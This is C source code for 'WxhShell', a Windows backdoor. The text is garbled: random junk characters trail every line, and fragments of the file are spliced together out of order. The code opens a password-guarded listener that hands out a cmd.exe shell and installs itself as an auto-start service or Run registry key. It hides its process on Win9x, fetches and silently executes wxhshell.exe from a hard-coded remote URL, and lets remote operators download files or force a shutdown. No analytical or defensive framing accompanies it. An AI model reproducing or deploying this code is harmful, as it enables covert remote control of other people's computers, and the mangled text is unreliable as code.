    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZecvjbnVY  
    if(Boot(SHUTDOWN)) 9+8!xwR:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vuo'"^ =p0  
    else {  I`'a'  
    closesocket(wsh); UUMdZ+7  
    ExitThread(0); 1^f.5@tV  
    } =1 BNCKT<  
    break; %X"m/4c8}  
    } hUT^V(  
  // 获取shell z1'FmwT  
  case 's': { ~@4ZV  
    CmdShell(wsh); 6(J4IzZ  
    closesocket(wsh); euj8p:+X  
    ExitThread(0); T<f\*1~^  
    break; Z 5)_B,E:X  
  } ,c%K)KuPK.  
  // 退出 Vl 19Md  
  case 'x': { 95^i/6Gl!P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gkv~e?Kc~^  
    CloseIt(wsh); VwOG?5W/  
    break; puS&S *  
    } m UWkb  
  // 离开 =0PRAc  
  case 'q': { B?#kW!wj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bKuj po6  
    closesocket(wsh); I!@s6tG  
    WSACleanup(); "\/^/vn?  
    exit(1); &`yOIX-H_  
    break; Gh2Q$w:  
        } @ <OO  
  } H\| ]!8w5Z  
  } V'"I9R'1  
Rj} o4s2x  
  // 提示信息 4g7ja   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ran^te^Ks(  
} WfRfx#MMt  
  } S~k*r{?H})  
R>d@tr  
  return; hr[B^?6  
} )W`SC mr]  
',JrY)  
// shell模块句柄 4N~+G `  
int CmdShell(SOCKET sock) ,'C30A*p  
{ v. Xoq  
STARTUPINFO si; $Ei o$TI  
ZeroMemory(&si,sizeof(si)); JYwyR++uo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >sQ2@"y)s2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JvfQib  
PROCESS_INFORMATION ProcessInfo; oe!:|ck<  
char cmdline[]="cmd"; {4: -0itG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fimb]C I|x  
  return 0; 4O`6h)!NQ  
} l801` ~*gO  
cGE=.  
// 自身启动模式 Z6Nj<2u2  
int StartFromService(void) )d +hZ'  
{ U!c]_q  
typedef struct F<Hqo>G  
{ 8M^wuRn  
  DWORD ExitStatus; F&QTL-pQW  
  DWORD PebBaseAddress; 3ar=1_Ar  
  DWORD AffinityMask; K DYYB6|  
  DWORD BasePriority; {)V?R  
  ULONG UniqueProcessId; >*dQqJI  
  ULONG InheritedFromUniqueProcessId; kDzj%sm!  
}   PROCESS_BASIC_INFORMATION; *me,(C  
xMD rE?  
PROCNTQSIP NtQueryInformationProcess; LY-lTr@A^  
}iilzE4oH#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "v(G7*2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U_}7d"<| ?  
B(j02<-  
  HANDLE             hProcess; 8FzHNG  
  PROCESS_BASIC_INFORMATION pbi; ~->Hlxze'K  
_i3i HR?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,0!uem}1i  
  if(NULL == hInst ) return 0; l80bHp=  
LBiowd[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m|pTn#*`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YC]PN5[1!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mEoA#U  
b'velj3A  
  if (!NtQueryInformationProcess) return 0; RT% x&j  
0Injyc*bMF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \\ jIl3Z  
  if(!hProcess) return 0; ;rd6ko  
\bhOPK>w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9~@<-6jE3b  
U~aWG\h#X  
  CloseHandle(hProcess); )YuRjBcp,"  
+}Xr1fr{jw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (/"thv5vT{  
if(hProcess==NULL) return 0; )ll?-FZ   
T yU&QXb  
HMODULE hMod; BlXX:aZv  
char procName[255]; /7bw: h;  
unsigned long cbNeeded; AD^X(rW  
coDj L.u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4d!S#zx  
Hu[]h]  
  CloseHandle(hProcess); 3bWum  
xE%O:a?S  
if(strstr(procName,"services")) return 1; // 以服务启动 OI+E (nA  
%drJ p6n%  
  return 0; // 注册表启动 3&es]1b  
} }wG,BB%N  
Bwjg#1E  
// 主模块 $^t<9" t  
int StartWxhshell(LPSTR lpCmdLine) ,Ij=b  
{ bSQRLxF  
  SOCKET wsl; O -G1})$  
BOOL val=TRUE; TWUUvj`.  
  int port=0; AzZJG v ]H  
  struct sockaddr_in door; Q6=MS>JW]w  
Y2<dM/b/  
  if(wscfg.ws_autoins) Install(); a\=-D:  
b\?3--q  
port=atoi(lpCmdLine); OR]T`meO  
`h?LVD'l  
if(port<=0) port=wscfg.ws_port; o,CBA;{P  
hp*<x4%*a"  
  WSADATA data; rJu[ N(2k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Nbos.a]5  
Yv^p =-E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gz ?2b#7v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *vYn_wE  
  door.sin_family = AF_INET; MSl&?}Bj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `\!X}xiWd  
  door.sin_port = htons(port); qU#$2  
G*B$%?n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GR<c=   
closesocket(wsl); c<?[d!vI  
return 1; |H 8^  
} I~)cYl:|G  
&&WDo(r3  
  if(listen(wsl,2) == INVALID_SOCKET) { H)E^!eo  
closesocket(wsl); IV0[!D  
return 1; y_*n9 )Ct  
} 8W;2oQN7  
  Wxhshell(wsl); Zd[OWF  
  WSACleanup(); Ox^:)ii  
3YW=||;|Yg  
return 0; p #bhz5&/  
ryg4h Hspl  
} [ByQ;s5tY  
.]P2}w)x?  
// 以NT服务方式启动 oU8>Llt=$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r'p =`2=  
{ r0\?WoF2C  
DWORD   status = 0; '<7S^^ax  
  DWORD   specificError = 0xfffffff; O}C)~GU  
,^ 7 CP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qK?$= h.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,)zt AFn=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2U}m RgJu  
  serviceStatus.dwWin32ExitCode     = 0; yyP'Z~0  
  serviceStatus.dwServiceSpecificExitCode = 0; ^;r+W -MQ  
  serviceStatus.dwCheckPoint       = 0; \5~;MI.Sq  
  serviceStatus.dwWaitHint       = 0; $o.Kn9\  
FQROK4x%"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o2aM#Q  
  if (hServiceStatusHandle==0) return; 94Ud@F9d5  
H8f]}  
status = GetLastError(); KXf<$\+zO  
  if (status!=NO_ERROR) ^O)ve^P  
{ J B^Q\;$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^P?vkO"pB?  
    serviceStatus.dwCheckPoint       = 0; WS:5MI,OL  
    serviceStatus.dwWaitHint       = 0; W`rMtzL5  
    serviceStatus.dwWin32ExitCode     = status; ^,TTwLy- t  
    serviceStatus.dwServiceSpecificExitCode = specificError; R-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =1Z;Ma<;  
    return; WhFS2Jl0  
  } \3zp)J  
rQJ"&CapT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K"\MU  
  serviceStatus.dwCheckPoint       = 0; Hm fXe  
  serviceStatus.dwWaitHint       = 0; wzh ]97b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GX?*1  
} YTQps&mD.  
J-V49X#  
// 处理NT服务事件,比如:启动、停止 "'a* [%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B[F-gq-  
{ O4L#jBa+  
switch(fdwControl) 5wT>N46UX  
{ Qf xH9_  
case SERVICE_CONTROL_STOP: d"ZU y!a  
  serviceStatus.dwWin32ExitCode = 0;  )\ZzTS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7?nJ4x1  
  serviceStatus.dwCheckPoint   = 0; dlDki.  
  serviceStatus.dwWaitHint     = 0; ufrqsv]=  
  { Bu3T/m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `#Kx|x6  
  } ^aF8wbuZ  
  return; \?Mf_  
case SERVICE_CONTROL_PAUSE: l?8)6z#Zl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  f:wd&V  
  break; c0ez/q1S  
case SERVICE_CONTROL_CONTINUE: bA@P}M)X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e;VIL 2|  
  break; Kesy2mE  
case SERVICE_CONTROL_INTERROGATE: 0 [8=c&F  
  break; aDL*W@1S  
}; *hdC?m. _  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]]BOk  
} {2 %aCCV  
F[Q!d6  
// 标准应用程序主函数 j U[ O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a{'Z5ail  
{ @I-Lv5  
E4i0i!<z  
// 获取操作系统版本 QA;!caNp  
OsIsNt=GetOsVer(); Tycq1i^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W3rl^M=r  
e ZLMP  
  // 从命令行安装 + G;LX'B  
  if(strpbrk(lpCmdLine,"iI")) Install(); >&S0#>wmyG  
~AZWds(,N  
  // 下载执行文件 z ;Q<F  
if(wscfg.ws_downexe) { 2i7e#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8)yI<`q6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5$rSEVg9  
} kKiA  
L]d-33.c!H  
if(!OsIsNt) { EQ<RDhC@b  
// 如果时win9x,隐藏进程并且设置为注册表启动 feX^~gM  
HideProc(); j1-,Sqi  
StartWxhshell(lpCmdLine); r$(~j^<s  
} =f1B,%7G+5  
else . +  
  if(StartFromService()) PftxqJz  
  // 以服务方式启动 (Yb[)m>fQ}  
  StartServiceCtrlDispatcher(DispatchTable); LF*&(NC  
else 6l\FIah@  
  // 普通方式启动 :G5RYi  
  StartWxhshell(lpCmdLine); ',I0ih#Ls  
JC#>Td  
return 0; 5x8+xw3Eh  
} Ysi  g T  
<F=9*.@D   
1HT_  
E?)656F[  
=========================================== mQ~:Y  
Wu1{[a|  
?rYT4vi  
b)# Oc,  
$s5a G)?7  
^U[D4UM  
" :dI\z]Y(  
MXD4|r(  
#include <stdio.h> @b#^ -  
#include <string.h> k1 -~  
#include <windows.h> t*XN_=E$f  
#include <winsock2.h> FFKGd/:!  
#include <winsvc.h> \ I`p|&vG  
#include <urlmon.h> 3)=c]@N0  
u3 0s_\  
#pragma comment (lib, "Ws2_32.lib") 28.~iw  
#pragma comment (lib, "urlmon.lib") tBATZ0nK`Q  
. T JEUK  
#define MAX_USER   100 // 最大客户端连接数 ,u9M<B<F  
#define BUF_SOCK   200 // sock buffer V5f9]D  
#define KEY_BUFF   255 // 输入 buffer 3< Od0J  
:4gLjzL  
#define REBOOT     0   // 重启 ~lAKJs#{  
#define SHUTDOWN   1   // 关机 M~Ttb29{  
Cq)IayD@  
#define DEF_PORT   5000 // 监听端口 ]D 2u deg  
jE2}p-2Q0  
#define REG_LEN     16   // 注册表键长度 kgdT7  
#define SVC_LEN     80   // NT服务名长度 R(Kk{c:-@  
^' M>r (t  
// 从dll定义API q`NXJf=sc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *f%>YxF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); txgQ"MGA%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aGZi9O7G}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3r+.N  
nC1zzFFJ  
// wxhshell配置信息 Y?J"wdWJNB  
struct WSCFG { "es?=  
  int ws_port;         // 监听端口 4NN$( S-W  
  char ws_passstr[REG_LEN]; // 口令 7nq3S  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Ci*Az P  
  char ws_regname[REG_LEN]; // 注册表键名 Kf tgOG f  
  char ws_svcname[REG_LEN]; // 服务名 8T)&`dM6P~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }~K`/kvs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EZ;"'4;W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :#k &\f-Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]i<[d ,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KnhoaBB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5q9s,r_  
eB> s=}|  
}; ew _-Eb  
$d S@y+  
// default Wxhshell configuration zq+o+o>xo  
struct WSCFG wscfg={DEF_PORT, Ian[LbCWB  
    "xuhuanlingzhe", QqNW}: #  
    1, 66x?A0P  
    "Wxhshell", v3d&*I  
    "Wxhshell", ".^VI2T  
            "WxhShell Service", G7!W{;@I  
    "Wrsky Windows CmdShell Service", m %;D  
    "Please Input Your Password: ", gKLyL]kAGz  
  1, @Jm7^;9/  
  "http://www.wrsky.com/wxhshell.exe", (+uj1z^  
  "Wxhshell.exe" tGA :[SP  
    }; [r+ZE7$2b"  
0:0NXVYs&  
// 消息定义模块 D:^$4}h f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WrPUd{QM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WQ yLf;!Lz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wNFz*|n  
char *msg_ws_ext="\n\rExit."; AfeCK1mC@  
char *msg_ws_end="\n\rQuit."; @%k}FL=:t(  
char *msg_ws_boot="\n\rReboot..."; DejA4XdW  
char *msg_ws_poff="\n\rShutdown..."; 0Wa}<]:^  
char *msg_ws_down="\n\rSave to "; G,Z^g|6  
.itw04Uru  
char *msg_ws_err="\n\rErr!"; toN^0F?Qm  
char *msg_ws_ok="\n\rOK!"; cdqB,]"  
-7J|l  
char ExeFile[MAX_PATH]; ^7zu<lX  
int nUser = 0; }Sy=My89r  
HANDLE handles[MAX_USER]; N7E$G{TT  
int OsIsNt; _@S`5;4x  
Bqma\1cgb  
SERVICE_STATUS       serviceStatus; V%$/#sza  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -*5Rnx|Y{  
.920{G?l5  
// 函数声明 bR@p<;G|  
int Install(void); ]smkTo/  
int Uninstall(void); qC F5~;7  
int DownloadFile(char *sURL, SOCKET wsh); [Nn`l,  
int Boot(int flag); }neY<{z  
void HideProc(void); c'/l,k  
int GetOsVer(void); C8FB:JNJV  
int Wxhshell(SOCKET wsl); __mF ?m  
void TalkWithClient(void *cs); (/35p g6\  
int CmdShell(SOCKET sock); 4pw6bK,s2\  
int StartFromService(void); D %Xo&V[  
int StartWxhshell(LPSTR lpCmdLine); quY:pqG38q  
MSf;ZB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eX@L3BKp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F:x [  
n; {76Q  
// 数据结构和表定义 ;a:[8Yi  
SERVICE_TABLE_ENTRY DispatchTable[] = LL:_L<  
{ k)EX(T\  
{wscfg.ws_svcname, NTServiceMain}, >EY3/Go>  
{NULL, NULL} boDt`2=  
}; }&_/PA0j  
MEB it  
// 自我安装 ER,1(1]N  
int Install(void) vWAL^?HUP  
{ d!eYqM7-G  
  char svExeFile[MAX_PATH]; x.S3Zi}=  
  HKEY key; M4as  
  strcpy(svExeFile,ExeFile); ;!(<s,c#:  
*z@>!8?  
// 如果是win9x系统,修改注册表设为自启动 j?'GZ d"B  
if(!OsIsNt) { \rv<$d@L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t!RiUZAo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5\z `-)  
  RegCloseKey(key); >2~=)L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wI(M^8F_Mf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xh56T^,2  
  RegCloseKey(key); *}P~P$q%  
  return 0; Gz .|]:1  
    } H%D$(W  
  } 21"1NJzP  
} F'0O2KQ  
else { t5 G9!Nn  
X&kp;W  
// 如果是NT以上系统,安装为系统服务 j]`PSl+w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1I:+MBGin  
if (schSCManager!=0) O%bEB g  
{ vN;mP d~g  
  SC_HANDLE schService = CreateService EFz&N\2  
  ( eA<0$Gs,h  
  schSCManager, !KUi\yQ1  
  wscfg.ws_svcname, #\=FO>  
  wscfg.ws_svcdisp, eio 4k-  
  SERVICE_ALL_ACCESS, B {>7-0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e%b6(%  
  SERVICE_AUTO_START, s0vDHkf8  
  SERVICE_ERROR_NORMAL, \-g)T}g,I  
  svExeFile, |ZmUNiAa  
  NULL, <7~'; K  
  NULL, q<M2,YrbAI  
  NULL, n rjE.+v  
  NULL, a |X a3E  
  NULL ui?  
  ); &v@a5L  
  if (schService!=0) PUUwv_  
  { B6={&7U2  
  CloseServiceHandle(schService); 'dn]rV0(C  
  CloseServiceHandle(schSCManager); ez| )ph7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]9^sa-8  
  strcat(svExeFile,wscfg.ws_svcname); ~sh`r{0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1jcouD5?H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }~L.qG  
  RegCloseKey(key); E 7{U |\  
  return 0; H*}y^ )x  
    } ~A\GT$  
  } > ;*b|Ik  
  CloseServiceHandle(schSCManager); y+NN< EY@  
} `x*Pof!Io  
} o4Om}]Ti  
c24dSNJg,  
return 1; d$1@4r  
} ,5h)x"s  
I`!<9OTBj  
// 自我卸载 6^`1\ #f  
int Uninstall(void) F'21jy&  
{ K|[*t~59  
  HKEY key; 'd9INz.  
#AJM6* G9  
if(!OsIsNt) { $| @ (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gDpVeBd[  
  RegDeleteValue(key,wscfg.ws_regname); ) AvN\sC  
  RegCloseKey(key); ?Wlb3;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3ca (i/c  
  RegDeleteValue(key,wscfg.ws_regname); {ttysQ-  
  RegCloseKey(key); [D I+~F  
  return 0; ?82xdp g  
  } >G25m'&,7  
} = %TWX[w  
} GBPo8L"9  
else { rD 3v$B  
<eWf<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^'PWI{ O  
if (schSCManager!=0) xqu}cz  
{ K  &N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (5-FVp fb  
  if (schService!=0) cQ R]le %(  
  { ]>5/PD,wWy  
  if(DeleteService(schService)!=0) { 5Odhb  
  CloseServiceHandle(schService); vg32y /l]S  
  CloseServiceHandle(schSCManager); b gK}-EU  
  return 0; Po^?QVJ7  
  } T4Pgbop  
  CloseServiceHandle(schService); W')Yg5T  
  } VY7[)  
  CloseServiceHandle(schSCManager); wfLaRP  
} 0x@6^ %^\  
} *Q "wwpl?  
Mh]Gw(?w  
return 1; -lY6|79bF  
} 4O^xY 6m  
*RJG!t*t  
// 从指定url下载文件 qm/22:&v5  
int DownloadFile(char *sURL, SOCKET wsh) . 1Dg s=|  
{ )vE~'W  
  HRESULT hr; t.i 8 2Q  
char seps[]= "/"; EM(gmWHij  
char *token; _@ qjV~%Sy  
char *file; ;U+3w~  
char myURL[MAX_PATH]; vN;N/mL  
char myFILE[MAX_PATH]; 2K/4Rf0;  
L [pBB  
strcpy(myURL,sURL); 4V)kx[j  
  token=strtok(myURL,seps); #lL^?|M  
  while(token!=NULL) .SU8)T  
  { ;n*.W|Uph  
    file=token; =O5pY9UO  
  token=strtok(NULL,seps); TrEu'yxy8*  
  } kTOzSiq  
lZ]ZDb?P  
GetCurrentDirectory(MAX_PATH,myFILE); y51e%n$  
strcat(myFILE, "\\"); NJWA3zz   
strcat(myFILE, file); I-]?"Q7Jz  
  send(wsh,myFILE,strlen(myFILE),0); .ypL=~Rp  
send(wsh,"...",3,0); $9_xGfx}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ot_]3:`J~  
  if(hr==S_OK) 6]WAUK%h  
return 0; |\pj;XU  
else h+g_rvIG*  
return 1; /NI;P]s.  
84& $^lNV  
} |4;Fd9q^m  
,~N/- 5  
// 系统电源模块 IL#"~D?  
int Boot(int flag) hF~n)oQ  
{ l[0RgO*S  
  HANDLE hToken; k8&;lgO '  
  TOKEN_PRIVILEGES tkp; nS }<-s  
Fo5FNNiID  
  if(OsIsNt) { {HltvO%8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $w`x vX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pP&7rRhw  
    tkp.PrivilegeCount = 1; Qb-M6ihcc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;"5&b!=t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l *(8i ^  
if(flag==REBOOT) { K_|k3^xx"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NX*Q F+  
  return 0; O`IQ(,yef  
} )-I { ^(  
else {  dVtG/0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pZ.ecZe/  
  return 0; itt3.:y  
} S6Q  
  } WUn]F~Lt  
  else { vxBgGl  
if(flag==REBOOT) { C!<Ou6}!b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H(ARw'M  
  return 0; )4e.k$X^  
} _YhES-Ff  
else { cJ= 6r :  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q_[o" wq/  
  return 0; S%;O+eFYb  
} i &nSh ]KK  
} iy.p n  
G" qv z{*  
return 1; {L{o]Ii?g  
} _}Ac n$  
=7=]{Cx[  
// win9x进程隐藏模块 o q Xg  
void HideProc(void) {3mRq"e  
{ EHJ.T~X  
t\dN DS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :D5Rlfj  
  if ( hKernel != NULL ) ,q`\\d  
  {  ,f%S'(>w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~g]Vw4pv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I3L<[-ZE  
    FreeLibrary(hKernel); zFfr. g;L  
  } 8b& /k8i:  
_`j7clEz  
return; w,.TTTad  
} e8a+2.!&\  
V+Y%v.F  
// 获取操作系统版本 sUO`uqZV  
int GetOsVer(void) z\W64^'"Z  
{ =4YhG;%  
  OSVERSIONINFO winfo; A:%`wX}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YoNDf39  
  GetVersionEx(&winfo); &jJL"gq"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \;B iq`  
  return 1; y'q$ |  
  else AO4U}?  
  return 0; ,?%Zc$\LW  
} b4 6~?*  
`Y$4 H,8L  
// 客户端句柄模块 Rh{f5-  
int Wxhshell(SOCKET wsl) eF$x1|  
{ (mpNcOY<D  
  SOCKET wsh; z43M] P<  
  struct sockaddr_in client; m=:9+z  
  DWORD myID; 'o2Fa_|<#  
Dw.J2>uj  
  while(nUser<MAX_USER) m+[Ux{$  
{ e#8Q L  
  int nSize=sizeof(client); H/ HMm{4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C ;W"wBz9  
  if(wsh==INVALID_SOCKET) return 1; IHac:=*Q  
rglXs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~q.F<6O  
if(handles[nUser]==0) K($Npuu]  
  closesocket(wsh); (y~TL*B  
else mO7]9 p  
  nUser++; +~$ ]} %  
  } EW OVx*l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sY&IquK^  
B~ GbF*j  
  return 0; .*Y  
} N =}A Z{$  
5|s\* bV`  
// 关闭 socket 013x8!i  
void CloseIt(SOCKET wsh) #=A)XlZMd  
{ )7Wf@@R'F  
closesocket(wsh); AQvudx)@"  
nUser--; 6A-|[(NS  
ExitThread(0); 904}Jh,  
} G5 WVr$  
|u<7?)mp  
// 客户端请求句柄 14yv$,  
void TalkWithClient(void *cs) !l8PDjAE  
{ ~B?y{  
:DNY7TvZ  
  SOCKET wsh=(SOCKET)cs; 0S!K{xyR  
  char pwd[SVC_LEN]; ,#9PxwrO  
  char cmd[KEY_BUFF]; $%#!bV  
char chr[1]; (uE!+2C  
int i,j; ]2KihP8z x  
S4z;7z(8+  
  while (nUser < MAX_USER) { ?N9uu4  
YU'E@t5  
if(wscfg.ws_passstr) { 3F2w-+L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @# l= l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \_f(M|  
  //ZeroMemory(pwd,KEY_BUFF); +ye3HGD  
      i=0; m;QMQeGz  
  while(i<SVC_LEN) { igPX#$0XU  
W^l-Y %a/o  
  // 设置超时 2E'UZ m  
  fd_set FdRead; !%c\N8<>GD  
  struct timeval TimeOut; )jP1or  
  FD_ZERO(&FdRead); Yc?*dUV  
  FD_SET(wsh,&FdRead); e(t\g^X  
  TimeOut.tv_sec=8; '~=SzO  
  TimeOut.tv_usec=0; /a4{?? #e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4|DWOQ':  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (O3nL.  
-uf|w?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F={a;Dvrn  
  pwd=chr[0]; UP,c|  
  if(chr[0]==0xd || chr[0]==0xa) { 83#mB:^R  
  pwd=0; }o`76rDN  
  break; (f"4,b^]  
  } _q-*7hCQ`  
  i++; [{,1=AB  
    } SO!8Di  
CLRdm ^B  
  // 如果是非法用户,关闭 socket SwMc pNo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XwaXdvmK  
} q(84+{>B  
fNFY$:4X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &%J08l6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X'iWJ8  
 f.)O2=  
while(1) { .?$gpM?i  
$=4QO  
  ZeroMemory(cmd,KEY_BUFF); 0L52#;?Si"  
]c'A%:f<  
      // 自动支持客户端 telnet标准   T6=u P)!K  
  j=0; a&? :P1$  
  while(j<KEY_BUFF) { .$vK&k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7qS)c}Q\  
  cmd[j]=chr[0]; Y}wyw8g/  
  if(chr[0]==0xa || chr[0]==0xd) { oUlVI*~ND  
  cmd[j]=0; A*BeR0(  
  break; Cw&KVw*  
  } o66}yJzmD  
  j++; xJ.M;SF4  
    } utV_W&  
TM%%O :3  
  // 下载文件 + {'.7#  
  if(strstr(cmd,"http://")) { uwGc@xOgg,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zdam^o  
  if(DownloadFile(cmd,wsh)) A.w.rVDD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qIT@g"%}t  
  else 'm$L Ij?@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )9]PMA?u  
  } l.M0`Cn-%  
  else { U 6)#}   
h/Y'<:  
